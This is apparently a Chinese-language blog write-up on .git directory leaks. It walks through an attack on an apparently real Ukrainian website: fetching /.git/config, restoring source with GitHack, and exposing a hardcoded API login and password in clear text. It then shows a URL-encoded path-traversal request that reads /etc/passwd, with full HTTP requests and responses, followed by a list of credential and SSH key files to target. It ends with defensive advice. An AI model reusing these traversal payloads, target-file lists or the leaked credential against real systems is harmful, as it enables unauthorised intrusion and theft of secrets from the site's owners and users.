前言
在目前整个Web服务开发情况下版本控制系统已成为软件开发过程中不可或缺的一部分。Git,作为最流行的分布式版本控制系统之一,广泛应用于各类软件项目。然而,随着 Git 的普及,也暴露出了一些潜在的安全隐患,其中之一就是 .git 目录的意外泄露。这种漏洞不仅会导致源代码泄露,还可能暴露敏感信息,如数据库凭据、API 密钥等,从而对整个项目的安全性造成严重威胁。
本文将详细介绍 .git 目录的结构、泄露的原因及其可能的后果,并探讨如何利用这些泄露信息进行进一步攻击。通过具体的案例分析,我们将揭示攻击者如何利用公开的 .git 目录获取敏感信息,并提出相应的防护措施,帮助开发者在实际工作中有效防止此类安全风险的发生。
Git是什么?
.git 是 Git 版本控制系统用来存储项目的元数据和对象的隐藏目录。当你在一个项目目录中执行 git init 命令时,Git 会在这个目录中创建一个 .git 文件夹。这个文件夹包含了所有的版本控制信息,包括提交历史、配置选项、分支信息等。
.git 目录的结构
.git 目录的典型结构如下:
- HEAD:指向当前分支的指针。
- config:存储仓库的配置信息。
- description:用于描述仓库的简要信息,通常只在裸仓库中使用。
- hooks:存放各种客户端或服务器端的钩子脚本,可以用来执行特定操作(如提交前的检查等)。
- info:存储一些额外的配置信息,例如排除文件列表(exclude)。
- objects:存储所有的数据对象(如提交对象、树对象和Blob对象)。
- refs:存储分支、标签等的引用信息。
每一个子目录和文件都有其特定的作用,它们共同构成了 Git 的内部数据结构和工作机制。
.git 泄露怎么利用?
- 当你的网站根目录下存在 .git 文件夹,并且该文件夹被错误地暴露在公网上时,攻击者就可以通过访问 .git 文件夹获取到你的项目代码、提交记录、分支信息等等敏感信息。
- 访问源码:攻击者可以下载 .git 目录,并还原出完整的源码,包括可能敏感的配置文件、数据库凭据等。
- 获取历史版本:攻击者可以查看项目的历史提交记录,找到敏感信息,例如在历史版本中意外提交的密码。
- 分析开发历史:攻击者可以分析提交日志、分支结构等,了解开发流程和关键变更点,甚至发现潜在的漏洞。
.git 泄露会造成什么危害?
- 代码泄露: 攻击者可以获取到你的项目代码,并将其用于恶意目的,例如进行代码分析、代码窃取、修改代码等。
- 敏感信息泄露: 攻击者可以获取到你的提交历史记录,从中找出开发者使用的账号密码、数据库连接信息、API 密钥等等敏感信息。
- 项目安全漏洞: 攻击者可以利用你项目代码中的安全漏洞,进行攻击,例如 SQL 注入、跨站脚本攻击等等。
.git 泄露是怎么发生的?
.git 泄露通常是由于以下原因造成的:
- 错误配置: 开发人员将 .git 文件夹错误地放置在网站根目录下,导致它被暴露在公网上。
- 网站漏洞: 网站存在漏洞,例如文件上传漏洞,攻击者可以利用漏洞上传恶意文件,并将其写入网站根目录下,从而创建 .git 文件夹。
Git泄露利用
通过访问/.git/config文件可以正常的访问,config的配置信息中,我们可以看到以下的内容:
- 版本控制系统信息: repositoryformatversion = 0,表明这是 Git 版本 1 的配置。
- 仓库类型: bare = false,表明这是工作目录,并非裸仓库。
- 分支信息: 包含 master 和 localize 两个分支的信息。
- 远程仓库地址: url = XXXXXXXX:XXXXXXXX/radiodetali.git,攻击者通过这个信息可以获取到远程仓库的地址,甚至通过其他漏洞进一步入侵远程仓库。
GET /.git/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Priority: u=0, i
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=86400
Content-Length: 303
Date: Thu, 01 Aug 2024 10:36:23 GMT
Etag: "12f-5ec955989b66c"
Expires: Fri, 02 Aug 2024 10:36:23 GMT
Last-Modified: Thu, 03 Nov 2022 18:44:40 GMT
Server: Apache
Strict-Transport-Security: max-age=1576800
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
[core]
repositoryformatversion = 0
fileMode = false
bare = false
logallrefupdates = true
[branch "master"]
[branch "localize"]
[remote "origin"]
url = XXXXXXXX:XXXXXXXX/radiodetali.git
fetch = +refs/heads/*:refs/remotes/origin/*
[master]
remote = origin
merge = refs/heads/master
既然.git已经暴露公网,我找了一款工具,可以帮我实现将泄露的源代码下载下来,GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码,相当于一条龙的服务。
GitHack 脚本的工作原理:
- 解析 index 文件: 脚本首先会下载 .git 文件夹下的 index 文件,并解析文件内容,获取到所有文件的 SHA1 值和文件名。
- 创建多线程下载文件: 脚本会创建多个线程,每个线程负责下载一个文件。
- 下载文件并保存到本地: 每个线程会根据文件的 SHA1 值和文件名,从 .git 文件夹中下载文件,并将文件保存到本地。
- 还原工程源代码: 脚本会将所有下载的文件保存到一个目录中,并根据文件结构,还原出工程源代码。
这里等它跑完在工具的主目录下会生成一个以域名生成的文件夹,这个文件夹储存的是从 .git 文件夹中下载文件。
信息泄露
.git目录泄露是一个严重的安全漏洞,尤其是当包含敏感信息的项目源代码被泄露时。以下是围绕.git泄露如何导致数据库密码泄露,在开发过程中,开发者有时会将数据库凭据等敏感信息直接硬编码到源代码中。例如,在配置文件(如 config.php、.env 文件或其他类似文件)中包含数据库连接信息,如主机地址、用户名、密码和数据库名称。这些文件通常会被版本控制系统跟踪,因此一旦.git目录被公开访问,攻击者可以通过检索这些文件获取敏感信息,比如以下截图内容。
任意文件读取
这个漏洞是我通过全局搜索https://+域名的一个方式找找有没有关于主域名向其他地方引用或者有关后台这类的信息并且我在扫描完的目录夹里面看到了PDF文件,所以也不能排除掉相关的下载URL。OK,我们继续,这里发现了一个接口,名为 actionCurlImage,用于向指定的 API 端点发送 POST 请求,并上传图像文件。代码中使用了 cURL 函数库来执行 HTTP 请求。就是这么一个动作,不管凭证是否失效,但是发现了一些问题:
$url = 'https://XXXXXXXXXXXXX.com.ua/api/update_products?login=user&password=CLYbBvZkdx8Q8q6aL7DywvBmrq5BF6T8';
在开始之前我是在项目随后我借着往下看这代码,发现这个下载地址 Скачать прайс-лист翻译过来也就是下载价格列表。连接是这样的:
https://XXXXXXX.com.ua/pricelist.php?file=20240801_010001_1.xls
整个下载过程也是特别的简陋,$priceLists = Yii::app()->params['priceLists']; 这行代码从 Yii 框架的全局配置参数中获取 priceLists 的值。
$priceLists->name_part_1 这行代码访问 priceLists 对象的 name_part_1 属性,并将其作为查询参数 file 传递给 https://XXXXXXXXXXX.ua/pricelist.php 页面。
<li>
<?php $priceLists = Yii::app()->params['priceLists'];?>
<a href="https://XXXXXXXXXXXX.com.ua/pricelist.php?file=<?php echo $priceLists->name_part_1;?>">
<?php echo Yii::t('app', 'Скачать прайс-лист'); ?>
</a>
</li>
尝试文件读取,这里尝试是向上遍历四个层级目录
GET /pricelist.php?file=../../../../etc/passwd HTTP/1.1
Host: XXXXXXXXXX.com.ua
Cookie:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: close
报错了,然后考虑了一下可能是存在安全机制问题或者是层级问题。
HTTP/1.1 200 OK
Connection: close
Content-Length: 22
Cache-Control: max-age=43200
Content-Type: text/html; charset=utf-8
Date: Thu, 01 Aug 2024 12:03:15 GMT
Expires: Fri, 02 Aug 2024 00:03:15 GMT
Server: Apache
Strict-Transport-Security: max-age=1576800
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Powered-By: PHP/5.4.16
Error: File not found.
通过漫长的尝试,这里最后用了URL编码和加多了几层目录,最后成功读取到文件。
GET /pricelist.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: XXXXXXXXXXX.com.ua
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie:
Priority: u=0, i
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
HTTP/1.1 200 OK
Cache-Control: public, max-age=86400
Content-Disposition: attachment; filename=passwd
Content-Length: 1910
Content-Transfer-Encoding: Binary
Content-Type: document/excel
Date: Thu, 01 Aug 2024 12:11:49 GMT
Expires: Fri, 02 Aug 2024 12:11:49 GMT
Server: Apache
Strict-Transport-Security: max-age=1576800
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-Powered-By: PHP/5.4.16
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX..............
本来想这读取/etc/sadow但是权限不够所以读取了/etc/passwd,而且目标是开启了22端,而且在这种没有权限读取到有关SSH文件是非常可惜的。
如果在足够权限情况下,可以通过以下方式读取一些有关Root文件,这样就可以扩大一步收集和利用。
1.敏感配置文件:
- /etc/passwd: 包含系统用户账户信息,例如用户名、用户 ID、密码哈希值等。
- /etc/shadow: 包含系统用户的密码哈希值,用于验证用户身份。
- /etc/sudoers: 包含 sudo 命令的配置信息,可以允许特定用户执行特定命令或以其他用户身份运行命令。
- /root/.ssh/id_rsa: 包含 root 用户的私钥,可以通过该私钥登录服务器。
- /etc/ssh/sshd_config: 包含 SSH 服务器的配置信息,例如端口号、登录策略等。
- /etc/mysql/my.cnf: 包含 MySQL 数据库的配置信息,例如连接信息、用户权限等。
2.系统日志文件:
- /var/log/auth.log: 包含用户登录和身份验证信息,可以从中获取敏感信息,例如用户名、密码、IP 地址等。
- /var/log/secure: 包含系统安全相关的事件信息,例如登录失败、权限更改、文件访问等。
- /var/log/apache2/access.log: 包含 Apache Web 服务器的访问日志,可以从中获取网站访问信息,例如访问时间、IP 地址、请求路径等。
3.SSH文件
除了前面提到的 /etc/ssh/sshd_config 和 /root/.ssh/id_rsa 文件之外,任意文件读取漏洞还可以读取到与 SSH 相关的其他文件.......
- /etc/ssh/ssh_config: 包含 SSH 客户端的配置信息,例如连接超时时间、端口号、代理设置等。
- /etc/ssh/ssh_host_dsa_key、/etc/ssh/ssh_host_ecdsa_key、/etc/ssh/ssh_host_ed25519_key、/etc/ssh/ssh_host_rsa_key: 包含 SSH 服务器的公钥和私钥文件,用于验证连接和加密通信。
- /etc/ssh/known_hosts: 包含 SSH 服务器的公钥列表,用于验证 SSH 连接的安全性。
- /var/log/auth.log: 包含用户登录和身份验证信息,其中可能会包含 SSH 登录记录。
- /var/log/secure: 包含系统安全相关的事件信息,其中可能会包含 SSH 登录相关的事件记录。
4.其他关键文件:
- /etc/hosts: 包含主机名和 IP 地址的映射关系,可以修改该文件来进行 DNS 欺骗。
- /proc/self/cmdline: 包含当前进程的命令行参数,可以从中获取敏感信息,例如运行的程序、传递的参数等。
- /proc/self/environ: 包含当前进程的环境变量,可以从中获取敏感信息,例如用户的环境变量、系统变量等。
结束语
通过本文的探讨,我们了解了 .git 目录泄露的严重性以及其可能带来的安全威胁。攻击者可以通过公开的 .git 目录获取项目的完整源代码和敏感信息,这不仅可能导致知识产权的损失,还可能被恶意利用进行进一步的攻击,如注入恶意代码或窃取用户数据。因此,开发者必须对 .git 目录的安全性给予足够的重视。
在实际操作中,我们应严格避免将 .git 目录暴露在公网上,并采取适当的安全措施,如配置 Web 服务器以阻止访问 .git 目录、定期检查代码库中的敏感信息等。此外,开发者还应定期进行安全审计,以识别并修补潜在的安全漏洞。通过这些措施,我们可以有效降低 .git 目录泄露带来的安全风险,保障项目的安全和稳定。